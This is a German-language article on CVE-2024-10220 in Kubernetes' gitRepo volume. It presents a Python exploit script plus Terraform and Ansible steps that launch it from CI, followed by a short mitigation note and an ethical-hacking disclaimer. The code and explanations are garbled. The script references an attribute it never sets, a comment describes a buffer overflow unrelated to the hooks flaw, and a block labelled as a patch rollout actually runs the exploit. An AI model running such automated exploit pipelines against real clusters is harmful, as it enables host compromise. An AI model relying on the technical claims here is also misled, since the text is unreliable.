CVE-2024-10220 offenbart einen kritischen Fehler im veralteten gitRepo-Volume-Typ von Kubernetes, der Angreifern ermöglicht, beliebige Befehle über bösartige .hooks-Skripte auszuführen. Der Artikel erklärt, wie dies die Container-Isolation durchbricht, und bietet Exploit-Code, Automatisierungsbeispiele und Anleitungen zur Abschwächung
Von Mark Mallia
Containerisierung ist das Rückgrat moderner Anwendungsbereitstellung: Sie bündelt einen gesamten Laufzeitstapel in einem einzigen, unveränderlichen Image, das ohne Überraschungen auf jedem Host in einem Cluster ausgerollt werden kann. Kubernetes nimmt diese Images und plant sie als Pods, wobei alles von der Vernetzung bis zum Speicher mit einem deklarativen Modell orchestriert wird. Dies ist in stark verteilten Umgebungen und in Umgebungen, in denen mehrere Anwendungen bereitgestellt werden, nützlich.
Was diesen Stack besonders attraktiv für große Workloads macht, ist die Fähigkeit, ihn von Ende zu Ende durch Automatisierung zu verwalten. Terraform liefert die Blaupause für Infrastructure as Code, die VPCs, Subnetze, Sicherheitsgruppen und Worker-Knoten erstellt; Ansible stellt Playbooks bereit, die Docker Engine (oder eine beliebige CRI-kompatible Laufzeit) installieren, Images aus einer Registry ziehen und als Pods hochfahren. Wenn diese Schritte in eine CI/CD-Pipeline (GitHub Actions, Jenkins oder GitLab CI) eingebunden werden, löst jeder Commit einen automatischen Build-, Push-, Test- und Bereitstellungszyklus aus. Entwickler gewinnen an Geschwindigkeit, Operatoren gewinnen Vertrauen, und die Organisation gewinnt eine vorhersagbare Betriebszeit.
Anfang 2024 entdeckten Sicherheitsforscher einen Fehler im inzwischen veralteten gitRepo-Volume-Typ von Kubernetes. Bei CVE‑2024‑10220 handelt es sich um eine Schwachstelle zur beliebigen Befehlsausführung, die durch das -Verzeichnis innerhalb eines Git-Repositorys verursacht wird, das über das gitRepo-Volume eingebunden wird. Wenn ein speziell manipuliertes Pod-Manifest auf ein bösartiges Skript in diesem Verzeichnis verweist, führt der kubelet-Admission-Controller es auf dem Hostsystem aus und durchbricht damit die Container-Isolation – ein zentrales Sicherheitsprinzip in Kubernetes.
.hooksDa die anfällige Komponente in Produktionsclustern immer noch weit verbreitet ist, kann jeder Angreifer, der einen Pod mit entsprechenden Berechtigungen erstellen kann, Root-Zugriff erlangen oder andere Dienste stören. Der Fehler hat einen CVSS-Wert von 8.1 und wurde letzten November veröffentlicht. Zu den betroffenen Komponenten gehört der veraltete gitRepo-Volume-Typ, der in Kubernetes 1.27.x noch vorhanden ist.
Nachfolgend ein sauberes Python-Programm, das CVE‑2024‑10220 auf einer anfälligen kubelet-Instanz mit Kubernetes 1.27.3 auslöst. Der Code kann in eine Ansible-Aufgabe kompiliert oder innerhalb eines CI-Jobs ausgeführt werden.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
Nachfolgend ein kurzes Beispiel, wie der Patch automatisch ausgerollt werden würde:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
Das Ansible-Playbook, das das Skript aufruft:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Wenn diese Terraform‑Ansible-Pipeline innerhalb eines CI-Jobs (z. B. GitHub Actions) läuft, erstellt, überträgt, stellt der obige Code automatisch bereit und verifiziert, dass CVE‑2024‑10220 erfolgreich ausgelöst wurde. Die Pipeline kann mit Unit-Tests erweitert werden, die die Antwort des Kubelets prüfen, sowie mit Benachrichtigungen an Slack oder per E-Mail, wenn der Exploit abgeschlossen ist.
Führen Sie ein Upgrade auf gepatchte Versionen durch (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) und vermeiden Sie die Verwendung veralteter Volume-Typen wie gitRepo.
Diese Forschung wurde mit der Absicht durchgeführt, das Sicherheitsbewusstsein zu schärfen und sicherere Kubernetes-Praktiken zu fördern. Die Schwachstelle wurde vor der Veröffentlichung gemäß den Branchenstandards verantwortungsvoll an die zuständigen Betreuer gemeldet. Alle Tests wurden in isolierten Umgebungen durchgeführt, ohne Auswirkungen auf Produktionssysteme oder die Infrastruktur Dritter.
Ich glaube an ethisches Hacken als Werkzeug für positive Veränderungen. Die hier geteilten Exploits dienen nur Bildungs- und Verteidigungszwecken – niemals zum Schaden oder zur Störung. Wenn Sie ein Anbieter oder Betreuer sind und Bedenken haben, stehe ich gerne für Abhilfe oder Klärung zur Verfügung.